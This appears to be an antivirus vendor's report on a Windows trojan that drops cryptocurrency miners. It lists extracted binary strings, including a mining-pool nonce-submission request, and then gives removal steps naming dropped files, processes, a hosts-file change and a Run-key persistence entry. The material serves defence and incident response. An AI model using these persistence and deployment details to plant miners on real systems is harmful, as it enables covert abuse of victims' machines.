C%p %d V=%0X B=%d b=%p w=%ld %s

RWL%p %d %s

RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s

SHA-256 part of OpenSSL 1.0.1e 11 Feb 2013

%s(%d): OpenSSL internal error, assertion failed: %s

x509_pkey

evp_pkey

ssl_cert

ssl_sess_cert

Stack part of OpenSSL 1.0.1e 11 Feb 2013

error:lX:%s:%s:%s

passed a null parameter

x509 certificate routines

DSO support routines

dhKeyAgreement

challengePassword

extendedCertificateAttributes

nsCertExt

Netscape Certificate Extension

nsCertType

Netscape Cert Type

nsBaseUrl

Netscape Base Url

nsRevocationUrl

Netscape Revocation Url

nsCaRevocationUrl

Netscape CA Revocation Url

nsRenewalUrl

Netscape Renewal Url

nsCaPolicyUrl

Netscape CA Policy Url

nsCertSequence

Netscape Certificate Sequence

subjectKeyIdentifier

X509v3 Subject Key Identifier

keyUsage

X509v3 Key Usage

privateKeyUsagePeriod

X509v3 Private Key Usage Period

certificatePolicies

X509v3 Certificate Policies

authorityKeyIdentifier

X509v3 Authority Key Identifier

extendedKeyUsage

X509v3 Extended Key Usage

TLS Web Server Authentication

TLS Web Client Authentication

pbeWithSHA1And3-KeyTripleDES-CBC

pbeWithSHA1And2-KeyTripleDES-CBC

keyBag

pkcs8ShroudedKeyBag

certBag

localKeyID

x509Certificate

sdsiCertificate

id-smime-mod-msg-v3

id-smime-ct-publishCert

id-smime-aa-msgSigDigest

id-smime-aa-encrypKeyPref

id-smime-aa-signingCertificate

id-smime-aa-smimeEncryptCerts

id-smime-aa-ets-otherSigCert

id-smime-aa-ets-CertificateRefs

id-smime-aa-ets-certValues

id-smime-aa-ets-certCRLTimestamp

id-mod-qualified-cert-88

id-mod-qualified-cert-93

id-mod-attribute-cert

id-it-caProtEncCert

id-it-signKeyPairTypes

id-it-encKeyPairTypes

id-it-caKeyUpdateInfo

id-it-unsupportedOIDs

id-it-keyPairParamReq

id-it-keyPairParamRep

id-it-revPassphrase

id-regCtrl-oldCertID

id-regCtrl-protocolEncrKey

id-regInfo-certReq

id-cmc-getCert

id-cmc-confirmCertAcceptance

id-ecPublicKey

set-msgExt

set-certExt

certificate extensions

setct-AcqCardCodeMsg

setct-PCertReqData

setct-PCertResTBS

setct-CertReqData

setct-CertReqTBS

setct-CertResData

setct-CertInqReqTBS

setct-AcqCardCodeMsgTBE

setct-CertReqTBE

setct-CertReqTBEX

setct-CertResTBE

setCext-certType

setCext-cCertRequired

setAttr-Cert

set-rootKeyThumb

JOINT-ISO-ITU-T

joint-iso-itu-t

msSmartcardLogin

Microsoft Smartcardlogin

proxyCertInfo

Proxy Certificate Information

certicom-arc

certificateIssuer

X509v3 Certificate Issuer

id-PasswordBasedMAC

password based MAC

id-Gost28147-89-CryptoPro-KeyMeshing

id-Gost28147-89-None-KeyMeshing

LocalKeySet

Microsoft Local Key set

supportedApplicationContext

userPassword

userCertificate

cACertificate

certificateRevocationList

crossCertificatePair

supportedAlgorithms

anyExtendedKeyUsage

Any Extended Key Usage

lhash part of OpenSSL 1.0.1e 11 Feb 2013

[d:d:d]

%5lu file=%s, line=%d,

number=%d, address=lX

thread=%lu, file=%s, line=%d, info="

%ld bytes leaked in %d chunks

Big Number part of OpenSSL 1.0.1e 11 Feb 2013

bn(%d,%d)

ASN.1 part of OpenSSL 1.0.1e 11 Feb 2013

OPENSSL_Uplink(%p,X):

_matherr(): %s in %s(%g, %g) (retval=%g)

VirtualQuery failed for %d bytes at address %p

VirtualProtect failed with code 0x%x

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

unknown option -- %s

unknown option -- %c

option requires an argument -- %s

option requires an argument -- %c

GCC: (GNU) 4.8.2 20131016 (Fedora MinGW 4.8.2-1.fc20)

173270920594222

ReportEventA

PeekNamedPipe

_acmdln

_amsg_exit

GetProcessWindowStation

ldap_msgfree

ADVAPI32.dll

KERNEL32.dll

msvcrt.dll

USER32.dll

wldap32.dll

WS2_32.dll

"@"@"@"@

File: %ws, Line %u

win32burst2.exe_3064:

.text

`.rdata

@.data

.rsrc

@.reloc

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

ChunkSender[%d]: fuck

ChunkSender[%d]: take a break! %d

[%d] Connected to server.

kernel32.dll

recv = %s

POST /burst?requestType=submitNonce&accountId=%llu&nonce=%llu HTTP/1.0

%c:\recyclebin\*

%c:\recyclebin\%s

Error opening file %s

WSAStartup failed: %d

KERNEL32.dll

WS2_32.dll

GetProcessHeap

GetCPInfo

zcÁ

%System%\binaries_burst5x\win32\win32burst2.exe

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

1%2X2w2|2

7"8(8,80848

? ?$?(?,?0?

@mscoree.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   flacprdqevctmx.exe:2164
   %original file name%.exe:204
   flacprdpn21tmx.exe:5928
   flacprdr0wqtmx.exe:2020
   vssadmin.exe:6092
   vssadmin.exe:2700
   unzip.exe:2144
   crnrrtz.exe:3620
   crnrrtz.exe:5956
   flacprdpmwetmx.exe:2928
   flacprdpmwetmx.exe:3480
   mfsdqaofjpgd.exe:4048
   mfsdqaofjpgd.exe:4780
   flacprdpgtntmxowdxuwf.exe:2496
   flacprdplqqtmx.exe:5852
   flacprdq25vtmx.exe:4868

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\flacprdpgtntmxowdxuwf.exe (7386 bytes)
   %System%\yfxgucyvda\tst (10 bytes)
   %System%\binaries_burst5x\win64\win64plot2.exe (673 bytes)
   %System%\binaries_burst5x\xmr\win32mrocli2.exe (7726 bytes)
   %System%\binaries_burst5x\win64\win64burst2.exe (673 bytes)
   %System%\binaries_burst5x\win32\win32plot2.exe (673 bytes)
   %System%\binaries_burst5x\win32\win32burst2.exe (673 bytes)
   %System%\binaries_burst5x\xmr\win64mroaes4.exe (21387 bytes)
   %System%\binaries_burst5x\xmr\win64mrocli3.exe (22430 bytes)
   %System%\unzip.exe (7100 bytes)
   %System%\yfxgucyvda\run (10 bytes)
   %WinDir%\Temp\flacprdpmwetmx.exe (35 bytes)
   %WinDir%\Temp\flacprdpn21tmx.exe (1940 bytes)
   %System%\binaries_burst5x.zip (81986 bytes)
   %System%\yfxgucyvda\cfg (1010 bytes)
   %System%\yfxgucyvda\por (1 bytes)
   %WinDir%\Temp\flacprdqevctmx.exe (35 bytes)
   %WinDir%\Temp\flacprdq25vtmx.exe (7547 bytes)
   %WinDir%\Temp\flacprdr0wqtmx.exe (2820 bytes)
   %System%\yfxgucyvda\rng (140 bytes)
   %System%\crnrrtz.exe (7547 bytes)
   %WinDir%\Temp\flacprdplqqtmx.exe (35 bytes)
   %System%\mfsdqaofjpgd.exe (7547 bytes)
   %System%\yfxgucyvda\etc (10 bytes)
   %System%\drivers\etc\hosts (22 bytes)
   

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "Launcher Gateway Encrypting Helper" = "%System%\mfsdqaofjpgd.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.